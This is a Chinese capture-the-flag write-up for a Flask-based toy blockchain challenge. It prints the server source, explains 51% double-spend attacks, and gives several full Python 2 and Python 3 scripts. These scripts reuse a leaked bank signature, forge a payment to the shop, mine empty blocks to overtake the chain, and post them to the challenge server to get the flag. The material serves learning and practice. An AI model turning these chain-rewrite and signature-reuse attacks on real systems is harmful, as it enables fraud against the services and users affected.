CTF之Web_python_block_chain

 这种题对于我来说只能看大佬的wp(但是这一题是wp都看不懂,只能表达一下我的理解了)

(最后有简单方法,前面一种没看懂没关系)

下面这一部分是首页的有用部分

 访问/source_code,得到源码:

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, request
from pycallgraph import PyCallGraph  
from pycallgraph import Config  
from pycallgraph.output import GraphvizOutput 

app = Flask(__name__)
app.secret_key = '*********************'
url_prefix = ''

def FLAG():
    return 'Here is your flag: DDCTF{******************}'

def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
    
def hash_reducer(x, y):
    return hash(hash(x)+hash(y))
    
def has_attrs(d, attrs):
    if type(d) != type({}): raise Exception("Input should be a dict/JSON")
    for attr in attrs:
        if attr not in d:
            raise Exception("{} should be presented in the input".format(attr))

EMPTY_HASH = '0'*64

def addr_to_pubkey(address):
    return rsa.PublicKey(int(address, 16), 65537)
    
def pubkey_to_address(pubkey):
    assert pubkey.e == 65537
    hexed = hex(pubkey.n)
    if hexed.endswith('L'): hexed = hexed[:-1]
    if hexed.startswith('0x'): hexed = hexed[2:]
    return hexed
    
def gen_addr_key_pair():
    pubkey, privkey = rsa.newkeys(384)
    return pubkey_to_address(pubkey), privkey

bank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()

def sign_input_utxo(input_utxo_id, privkey):
    return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')
    
def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
    
def create_output_utxo(addr_to, amount):
    utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
    utxo['hash'] = hash_utxo(utxo)
    return utxo
    
def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx['input'], EMPTY_HASH),
        reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
    ])
    
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
    tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
    tx['hash'] = hash_tx(tx)
    return tx
    
def hash_block(block):
    return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
    
def create_block(prev_block_hash, nonce_str, transactions):
    if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
    nonce = str(nonce_str)
    if len(nonce) > 128: raise Exception('the nonce is too long')
    block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
    block['hash'] = hash_block(block)
    return block
    
def find_blockchain_tail():
    return max(session['blocks'].values(), key=lambda block: block['height'])
    
def calculate_utxo(blockchain_tail):
    curr_block = blockchain_tail
    blockchain = [curr_block]
    while curr_block['hash'] != session['genesis_block_hash']:
        curr_block = session['blocks'][curr_block['prev']]
        blockchain.append(curr_block)
    blockchain = blockchain[::-1]
    utxos = {}
    for block in blockchain:
        for tx in block['transactions']:
            for input_utxo_id in tx['input']:
                del utxos[input_utxo_id]
            for utxo in tx['output']:
                utxos[utxo['id']] = utxo
    return utxos
        
def calculate_balance(utxos):
    balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
    for utxo in utxos.values():
        if utxo['addr'] not in balance:
            balance[utxo['addr']] = 0
        balance[utxo['addr']] += utxo['amount']
    return balance

def verify_utxo_signature(address, utxo_id, signature):
    try:
        return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
    except:
        return False

def append_block(block, difficulty=int('f'*64, 16)):
    has_attrs(block, ['prev', 'nonce', 'transactions'])
    
    if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])
    if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])
    if block['prev'] not in session['blocks']: raise Exception("unknown parent block")
    tail = session['blocks'][block['prev']]
    utxos = calculate_utxo(tail)
    
    if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')
    new_utxo_ids = set()
    for tx in block['transactions']:
        has_attrs(tx, ['input', 'output', 'signature'])
        
        for utxo in tx['output']:
            has_attrs(utxo, ['amount', 'addr', 'id'])
            if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])
            if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])
            if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")
            if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))
            new_utxo_ids.add(utxo['id'])
            if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")
            if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")
            if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")
            try:
                addr_to_pubkey(utxo['addr'])
            except:
                raise Exception("invalid type of address({})".format(utxo['addr']))
            utxo['hash'] = hash_utxo(utxo)
        tot_output = sum([utxo['amount'] for utxo in tx['output']])
        
        if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")
        if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")
        if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")
        tot_input = 0
        tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]
        tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]
        for utxo_id, signature in zip(tx['input'], tx['signature']):
            if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")
            if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))
            utxo = utxos[utxo_id]
            if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")
            if not verify_utxo_signature(utxo['addr'], utxo_id, signature):
                raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))
            tot_input += utxo['amount']
            del utxos[utxo_id]
        if tot_output > tot_input:
            raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
        tx['hash'] = hash_tx(tx)
    
    block = create_block(block['prev'], block['nonce'], block['transactions'])
    block_hash = int(block['hash'], 16)
    if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
    block['height'] = tail['height']+1
    if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')
    if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')
    session['blocks'][block['hash']] = block
    session.modified = True
    
def init():
    if 'blocks' not in session:
        session['blocks'] = {}
        session['your_diamonds'] = 0
        # First, the bank issued some DDCoins ...
        total_currency_issued = create_output_utxo(bank_address, 1000000)
        genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothing
        genesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
        session['genesis_block_hash'] = genesis_block['hash']
        genesis_block['height'] = 0
        session['blocks'][genesis_block['hash']] = genesis_block
    
        # Then, the bank was hacked by the hacker ...
        handout = create_output_utxo(hacker_address, 999999)
        reserved = create_output_utxo(bank_address, 1)
        transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)
        second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
        append_block(second_block)
    
        # Can you buy 2 diamonds using all DDCoins?
        third_block = create_block(second_block['hash'], 'a empty block', [])
        append_block(third_block)
        
def get_balance_of_all():
    init()
    tail = find_blockchain_tail()
    utxos = calculate_utxo(tail)
    return calculate_balance(utxos), utxos, tail
    
@app.route(url_prefix+'/')
def homepage():
    announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
    balance, utxos, _ = get_balance_of_all()
    genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']
    addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_address
    balance_info = 'Balance of all addresses: ' + json.dumps(balance)
    utxo_info = 'All utxos: ' + json.dumps(utxos)
    blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
    view_source_code_link = "<a href='source_code'>View source code</a>"
    return announcement+('<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))
    
    
@app.route(url_prefix+'/flag')
def getFlag():
    init()
    if session['your_diamonds'] >= 2: return FLAG()
    return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address
    
def find_enough_utxos(utxos, addr_from, amount):
    collected = []
    for utxo in utxos.values():
        if utxo['addr'] == addr_from:
            amount -= utxo['amount']
            collected.append(utxo['id'])
        if amount <= 0: return collected, -amount
    raise Exception('no enough DDCoins in ' + addr_from)
    
def transfer(utxos, addr_from, addr_to, amount, privkey):
    input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
    outputs = [create_output_utxo(addr_to, amount)]
    if the_change != 0:
        outputs.append(create_output_utxo(addr_from, the_change))
    return create_tx(input_utxo_ids, outputs, privkey)
    
@app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):
    balance, utxos, tail = get_balance_of_all()
    if balance[bank_address] == 0: return 'The bank has no money now.'
    try:
        address = str(address)
        addr_to_pubkey(address) # to check if it is a valid address
        transferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)
        new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])
        append_block(new_block)
        return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + address
    except Exception, e:
        return 'ERROR: ' + str(e)

DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
    init()
    try:
        block = json.loads(request.data)
        append_block(block, DIFFICULTY)
        msg = 'transaction finished.'
    except Exception, e:
        return str(e)
        
    balance, utxos, tail = get_balance_of_all()
    if balance[shop_address] == 1000000:
        # when 1000000 DDCoins are received, the shop will give you a diamond
        session['your_diamonds'] += 1
        # and immediately the shop will store the money somewhere safe.
        transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
        new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
        append_block(new_block)
        msg += ' You receive a diamond.'
    return msg
    
        
# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():
    if 'blocks' in session: del session['blocks']
    if 'genesis_block_hash' in session: del session['genesis_block_hash']
    return 'reset.'
    
@app.route(url_prefix+'/source_code')
def show_source_code():
    source = open('serve.py', 'r')
    html = ''
    for line in source:
        html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
    source.close()
    return html
    
if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

 下面是大佬对题的解释(看不懂)

51% 双花攻击

    这道题整的解法是 51% (双花)攻击。
    请于正常的区块链区分开来,题目环境中只有你一个玩家,并没有人与你竞争(挖矿)。
    商店交易采用0确认,而不是现实中的6确认。
    当出现分叉时,区块链的规则认最长的分链为主链,并舍去原有的链。
    区块链允许添加空块
    51%(双花)攻击可以达到的目的就是使攻击前的交易作废,这里的前不一定是前一个,而是很大程度上取决于你的算力的。让之前的交易作废有什么好处呢?这里我们就要考虑0确认和6确认的区别了。

先看看6确认:

当产生一笔交易时,区块链的P2P网络会广播这笔交易,这笔交易会被一个挖矿节点收到,并验证,如果这个挖矿节点挖到区块(生成的hash满足条件)后,并且这笔交易的手续费足够吸引这个节点去打包进区块,那这笔交易就会被打包进区块。因此就得到了一个确认,这个矿工也拿走了相应的手续费。 这个挖矿节点打包后,会把区块广播给其他节点。其他节点验证并广播这个区块。 如果这个区块得到更多的挖矿节点的验证确认,那就得到了更多的确认。这样这笔交易就被记录到了比特币区块链,并成为了比特币账本的一部分。如果得到6个确认后,我们就认为它永远不可变了。

0确认就同样的道理了,那就是不需要别人确认,就如我们生活中的一手交钱一手交货,不同的是生活中我们处于中心化社会,银行会帮我们确认。而6确认就是需要经过6个人(区块被挖出)交易才确定。

可以看到对0确认和6确认进行51%(双花)攻击的难度是不一样的,6确认需要的算力明显要大,因为他要多比其他人生成6个区块。(应该可以这样理解吧,可能我还需要继续学习,如上,如有不对可以联系我(jay80#protonmail.com)改正,在这也谢谢各位大佬了。)好在,题目并不是采用6确认。

然后再看看这里的51% 攻击,其实这里说的51%是指算力,也就是这种攻击需要攻击者具备全网51%的算力,因为这样才有机会使自己生成(挖出)区块的速度超过其他人,然后按区块链的规则:当出现分叉时,区块链的规则认最长的分链为主链,并舍去原有的链,就达到了撤销原来链上已经存在的交易,拿回该交易使用了的钱的目的,这里我的另一个理解就是可以使交易回滚,从而追回被盗的钱。

 

 原理上明白了以后,我们就开始从代码上进行实际攻击。首先我们先看一下一个标准的区块是咋样的,下面其实就是黑客盗取银行的区块:

就是第一张图里的东西,自己整理一下方便看就行了

{
    "nonce": "HAHA, I AM THE BANK NOW!",
    "prev": "13bfff8cdedf1d81f4103ca8349fc26eff17b446bcb3cdbee845d101f20f11b9",
    "hash": "fe69dbe81d51b49101ea8b6be4a4ef118992d2a94dd7b16016e27e40b0da17f0", 
    "transactions": 
    [
        {"input": ["ad8b4d4a-138b-4eb0-8fb3-f963646370e3"],
        "signature":                        ["809bc81884ea06f16cbccc1f0ce39f0dbbdcd0912541d50ba394b5496888a1c437d59f31b7014b2aace6a5188025bc3f"], 
           "hash": "c1d88d88f49d69fddb81397b5f99652508c87647e7ee843a287f3e9184e78c6a", 
        "output": [{"amount": 999999,
         "hash": "dbb6c731b3d5d92432683cb2913a5bee17846b5d512534f105429ebf0ecb94e7", 
        "addr": "8ab9eb40808cbff9e8b0144319032f2ed052b13053f7c43d258f107aaaf3e5b75aedbad2ad5e4154d581ebb2e426e0d5",
         "id": "d41f5c34-ab18-4c7e-b416-c6460483d816"}, 
        {"amount": 1,
         "hash": "529dc4771c28f768ae873a384ce7824aed48e02344cec0da67a56d78cf9b014f",  
                "addr":"d1936e6b7dbc07f838cf255022ad83b877c1a91a3d87e6df479295ae5a0cb2e80106a2ad15b93da51a73d34a6ff0806b", 
"id": "a737ab47-fde4-47f3-a058-5b6acbfc3c7c"}
        ]
            ],
 "height": 1}
}

按照流程,我们应该构造一个转钱给商店的区块。但通过代码,我们可以发现转账的时候是需要私钥签名的,也就是这个signature段。 

 

 这些信息我们可以通过黑客留下的signature直接绕过,并且上一步的input也可以从黑客的区块中得到。所以我们就可以直接构造转账给商店的区块了,并且通过51%攻击使黑客转走的钱追回。

后续访问 传参需要访问 "http://61.147.171.105:63520/signature/create_transaction"需要用到signature(需要解码后使用,但是太麻烦了所以我没用这个)

 

下面直接放出大佬完整的payload脚本,需要特别提醒的是要注意每个区块的prev。

# -*- coding: utf-8 -*-
import json, uuid, hashlib
import random,string

EMPTY_HASH = '0' * 64
DIFFICULTY = int('00000' + 'f' * 59, 16)

def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()

def hash_reducer(x, y):
    return hash(hash(x) + hash(y))

# 对 output 进行hash
def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])

def create_output_utxo(addr_to, amount):
    utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
    utxo['hash'] = str(hash_utxo(utxo))
    return utxo

# 对 transactions 进行hash
def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx['input'], EMPTY_HASH),
        reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
    ])

#对整个块 hash
def hash_block(block):
    return reduce(hash_reducer, [block['prev'], block['nonce'],
                                 reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])

prev = "5bc355ab21fd7e07040e2882f36ff8fba90809cbaa27b80bc1439a6e85beec25"
input = ["e95c5a89-3f0e-4bd6-a4bc-8ff006fa2a42"]
signature = ['8cf74260504449ce72c537b587b534c7f93e459d97898faea8a3a68622bbe01f2117fba4cfd3cff69f12e209d74cf87c']


address = 'b81ff6d961082076f3801190a731958aec88053e8191258b0ad9399eeecd8306924d2d2a047b5ec1ed8332bf7a53e735'
output = [create_output_utxo(address,1000000)]

transactions = {
        "input":input,
        "signature":signature,
        "output":output
    }

# 对 transactions 进行签名
hash_transactions = hash_tx(transactions)
transactions['hash'] = str(hash_transactions)
# 爆破(挖矿,找到满足条件的hash)
def fuzz(block, size=20):
    CHARS = string.letters + string.digits
    while True:
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        block['nonce'] = rnds
        block_hash = str(hash_block(block))
        # 转换成 16 进制
        tmp_hash = int(block_hash, 16)
        # POW 验证工作
        if tmp_hash < DIFFICULTY:
            block['hash'] = block_hash
            return block

# 创建符合条件的块
block = {
    "prev":prev,
    "transactions":[transactions]
}
ok_block = fuzz(block)
print(json.dumps(ok_block))
# 创建一个空块
empty_tmp = {
    "prev" : ok_block['hash'],
    "transactions" : []
}
empty_block1 = fuzz(empty_tmp)
print(json.dumps(empty_block1))

empty_tmp = {
    "prev" : empty_block1['hash'],
    "transactions" : []
}
empty_block2 = fuzz(empty_tmp)
print(json.dumps(empty_block2))

empty_tmp = {
    "prev" : empty_block2['hash'],
    "transactions" : []
}
empty_block3 = fuzz(empty_tmp)
print(json.dumps(empty_block3))

empty_tmp = {
    "prev" : empty_block3['hash'],
    "transactions" : []
}
empty_block4 = fuzz(empty_tmp)
print(json.dumps(empty_block4))

运行后会得到5个区块,然后依次post就可以了

(搞不懂为什么大佬都喜欢用python2,害得我安装了一天的python2,最后却因为python2的很多模块已经停止维护了,需要自己修改调试,所以就失败了。然后我就将源码修改成了python3)

注(这个代码的adderss:是http://url/flag下的账号)

下面是我的py3代码

import json
import uuid
import hashlib
import random
import string
import functools

EMPTY_HASH = '0' * 64
DIFFICULTY = int('00000' + 'f' * 59, 16)

def hash(x):
    return hashlib.sha256(x).hexdigest()

def hash_reducer(x, y):
    return hash(x.encode() + y.encode())

def hash_utxo(utxo):
    return functools.reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])

def create_output_utxo(addr_to, amount):
    utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
    utxo['hash'] = str(hash_utxo(utxo))
    return utxo

def hash_tx(tx):
    return functools.reduce(hash_reducer, [
        functools.reduce(hash_reducer, tx['input'], EMPTY_HASH),
        functools.reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
    ])

def hash_block(block):
    return functools.reduce(hash_reducer, [block['prev'], block['nonce'],
                                           functools.reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])

prev = "13bfff8cdedf1d81f4103ca8349fc26eff17b446bcb3cdbee845d101f20f11b9"
input_id = ["ad8b4d4a-138b-4eb0-8fb3-f963646370e3"]
signature = ["809bc81884ea06f16cbccc1f0ce39f0dbbdcd0912541d50ba394b5496888a1c437d59f31b7014b2aace6a5188025bc3f"]

address = '8dde0388d3ec4b146adc3e9eebcfa2f87d1b22207bdac08f9386cb6f962361704d446e622d9f56070340facb04fc8b15'
output = [create_output_utxo(address, 1000000)]

transactions = {
    "input": input_id,
    "signature": signature,
    "output": output
}

hash_transactions = hash_tx(transactions)
transactions['hash'] = str(hash_transactions)

def fuzz(block, size=20):
    CHARS = string.ascii_letters + string.digits
    while True:
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        block['nonce'] = rnds
        block_hash = str(hash_block(block))
        tmp_hash = int(block_hash, 16)
        if tmp_hash < DIFFICULTY:
            block['hash'] = block_hash
            return block

block = {
    "prev": prev,
    "transactions": [transactions]
}
ok_block = fuzz(block)
print(json.dumps(ok_block))

empty_tmp = {
    "prev": ok_block['hash'],
    "transactions": []
}
empty_block1 = fuzz(empty_tmp)
print(json.dumps(empty_block1))

empty_tmp = {
    "prev": empty_block1['hash'],
    "transactions": []
}
empty_block2 = fuzz(empty_tmp)
print(json.dumps(empty_block2))

empty_tmp = {
    "prev": empty_block2['hash'],
    "transactions": []
}
empty_block3 = fuzz(empty_tmp)
print(json.dumps(empty_block3))

empty_tmp = {
    "prev": empty_block3['hash'],
    "transactions": []
}
empty_block4 = fuzz(empty_tmp)
print(json.dumps(empty_block4))

 运行后如下

 

 会生成五个区块,分别以post方式传入,再访问url/flag可以得到flag

 我们还可以使用大佬py2脚本,直接获得flag(后面有我的python3代码)

# -*- encoding: utf-8 -*-
# written in python 2.7
import hashlib, json, rsa, uuid, os,requests,re

# 一堆变量常量

url_root="http://220.249.52.133:58044"
url_create="http://220.249.52.133:58044/create_transaction"
url_flag="http://220.249.52.133:58044/flag"

s=requests.Session()
ddcoin = s.get(url=url_root)

prev_one=re.search(r"hash of genesis block: ([0-9a-f]{64})",ddcoin.content, flags=0).group(1)
bank_utox_id=re.search(r"\"input\": \[\"([0-9a-f\-]{36})",ddcoin.content, flags=0).group(1)
bank_signature=re.search(r"\"signature\": \[\"([0-9a-f]{96})",ddcoin.content, flags=0).group(1)

DIFFICULTY = int('00000' + 'f' * 59, 16)
EMPTY_HASH = '0'*64

bank_addr="8aaa41fad552f9a2231bba5242c58df16da1840979e37f0a20d5912ca829d240df4a992bd6518123a1c7034844448465"
hacke_addr="a4e4ec9827a53e8cf88d5eda99a3b965c8ae8eb334c5863fb874f554ce80ebf814f510fe3aef1c5a6dfb64c3bd7de1ab"
shop_addr="9095cbe784e2c97c5076a9806171056356b8ee5d26ca9343af25e2a036a2301a82581c0044eee5c15cf3de9a2655e85b"

# 源码中的API

def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()

def hash_reducer(x, y):
    return hash(hash(x)+hash(y))

def hash_block(block):
    return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])

def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])

def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx['input'], EMPTY_HASH),
        reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
    ])

def create_output_utxo(addr_to, amount):
    utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
    utxo['hash'] = hash_utxo(utxo)
    return utxo

def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
    tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo}  # 修改了签名
    tx['hash'] = hash_tx(tx)
    return tx

def create_block(prev_block_hash, nonce_str, transactions):
    if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
    nonce = str(nonce_str)
    if len(nonce) > 128: raise Exception('the nonce is too long')
    block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
    block['hash'] = hash_block(block)
    return block


# 构造的方法

def check_hash(prev,tx):
    for i in range(10000000):
        current_block=create_block(prev,str(i),tx)
        block_hash = int(current_block['hash'], 16)
        if block_hash<DIFFICULTY:
            print json.dumps(current_block)
            return current_block

def create_feak_one():
    utxo_first=create_output_utxo(shop_addr,1000000)
    tx_first=create_tx([bank_utox_id],[utxo_first])
    return check_hash(prev_one,[tx_first])

def create_empty_block(prev):
    return check_hash(prev,[])


# 攻击过程

a=create_feak_one()
print s.post(url=url_create,data=str(json.dumps(a))).content
b=create_empty_block(a['hash'])
print s.post(url=url_create,data=str(json.dumps(b))).content
c=create_empty_block(b['hash'])
print s.post(url=url_create,data=str(json.dumps(c))).content
d=create_empty_block(c['hash'])
print s.post(url=url_create,data=str(json.dumps(d))).content
e=create_empty_block(d['hash'])
print s.post(url=url_create,data=str(json.dumps(e))).content
print s.get(url=url_flag).content

标注的地方记得替换直接的url和addr

import hashlib
import json
import rsa
import uuid
import os
import requests
import re
from functools import reduce
#记得修改
url_root = "http://61.147.171.105:63520/"
url_create = "http://61.147.171.105:63520/create_transaction"
url_flag = "http://61.147.171.105:63520/flag"

s = requests.Session()
ddcoin = s.get(url=url_root)

prev_one = re.search(r"hash of genesis block: ([0-9a-f]{64})", ddcoin.content.decode(), flags=0).group(1)
bank_utox_id = re.search(r"\"input\": \[\"([0-9a-f\-]{36})", ddcoin.content.decode(), flags=0).group(1)
bank_signature = re.search(r"\"signature\": \[\"([0-9a-f]{96})", ddcoin.content.decode(), flags=0).group(1)

DIFFICULTY = int('00000' + 'f' * 59, 16)
EMPTY_HASH = '0'*64
#这里也要
bank_addr = "b244757baa7cd4071deba24da53ddfb2e5d763563fa57c5653ccfa6e7545e3369cbaf9a1c41d9951b1f1a39b78e0528d"
hacke_addr = "8a537f7f1a39857e567640f6cc530dc64732062dec8fa5d93643be53496ae08d9738afed66925018bcd4f8980841f61d"
shop_addr = "8dde0388d3ec4b146adc3e9eebcfa2f87d1b22207bdac08f9386cb6f962361704d446e622d9f56070340facb04fc8b15"

# 源码中的API

def hash(x):
    return hashlib.sha256(hashlib.md5(x.encode()).digest()).hexdigest()

def hash_reducer(x, y):
    return hash(hash(x)+hash(y))

def hash_block(block):
    return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])

def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])

def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx['input'], EMPTY_HASH),
        reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
    ])

def create_output_utxo(addr_to, amount):
    utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
    utxo['hash'] = hash_utxo(utxo)
    return utxo

def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
    tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo}  # 修改了签名
    tx['hash'] = hash_tx(tx)
    return tx

def create_block(prev_block_hash, nonce_str, transactions):
    if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
    nonce = str(nonce_str)
    if len(nonce) > 128: raise Exception('the nonce is too long')
    block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
    block['hash'] = hash_block(block)
    return block


# 构造的方法

def check_hash(prev, tx):
    for i in range(10000000):
        current_block = create_block(prev, str(i), tx)
        block_hash = int(current_block['hash'], 16)
        if block_hash < DIFFICULTY:
            print(json.dumps(current_block))
            return current_block

def create_feak_one():
    utxo_first = create_output_utxo(shop_addr, 1000000)
    tx_first = create_tx([bank_utox_id], [utxo_first])
    return check_hash(prev_one, [tx_first])

def create_empty_block(prev):
    return check_hash(prev, [])


# 攻击过程

a = create_feak_one()
print(s.post(url=url_create, data=str(json.dumps(a))).content.decode())
b = create_empty_block(a['hash'])
print(s.post(url=url_create, data=str(json.dumps(b))).content.decode())
c = create_empty_block(b['hash'])
print(s.post(url=url_create, data=str(json.dumps(c))).content.decode())
d = create_empty_block(c['hash'])
print(s.post(url=url_create, data=str(json.dumps(d))).content.decode())
e = create_empty_block(d['hash'])
print(s.post(url=url_create, data=str(json.dumps(e))).content.decode())
print(s.get(url=url_flag).content.decode())

 运行结果如下

 

 ctf{922a488e-f243-4b09-ae2d-fa2725da79ea}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/647377.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

mysql之递归sql

mysql之递归sql 递归sql在一些公司是不允许使用的&#xff0c;会涉及数据库压力&#xff0c;所以会在代码里递归查询&#xff0c;但有些公司开发流程没有规定&#xff0c;且数据库数据量不大&#xff0c;之前写过好几遍了&#xff0c;老是记不住&#xff0c;记录一下 通过父级…

LiveGBS流媒体平台GB/T28181用户手册-版本信息:查看机器码、切换查看流媒体服务

LiveGBS流媒体平台GB/T28181用户手册--版本信息:查看机器码、切换查看流媒体服务 1、版本信息1.1、查看机器码1.2、多个流媒体服务1.3、提交激活 2、搭建GB28181视频直播平台 1、版本信息 版本信息页面&#xff0c;可以查看到信令服务 流媒体服务相关信息&#xff0c;包含硬件…

MySQL--存储引擎

一、存储引擎介绍 1.介绍 存储引擎相当于Linux的文件系统&#xff0c;以插件的模式存在&#xff0c;是作用在表的一种属性 2.MySQL中的存储引擎类型 InnoDB、MyISAM、CSV、Memory 3.InnoDB核心特性的介绍 聚簇索引、事务、MVCC多版本并发控制、行级锁、外键、AHI、主从复制特…

网络安全等级保护:正确配置 Linux

正确配置 Linux 对Linux安全性的深入审查确实是一项漫长的任务。原因之一是Linux设置的多样性。用户可以使用Debian、Red Hat、Ubuntu或其他Linux发行版。有些可能通过shell工作&#xff0c;而另一些则通过某些图形用户界面&#xff08;例如 KDE 或 GNOME&#xff09;工作&…

零基础学Java第二十三天之网络编程Ⅱ

1. InetAddress类 用来表示主机的信息 练习&#xff1a; C:\Windows\system32\drivers\etc\ hosts 一个主机可以放多个个人网站 www.baidu.com/14.215.177.37 www.baidu.com/14.215.177.38 www.taobao.com/183.61.241.252 www.taobao.com/121.14.89.253 2. Socket 3.…

细粒度图像分类论文(AAM模型方法)阅读笔记

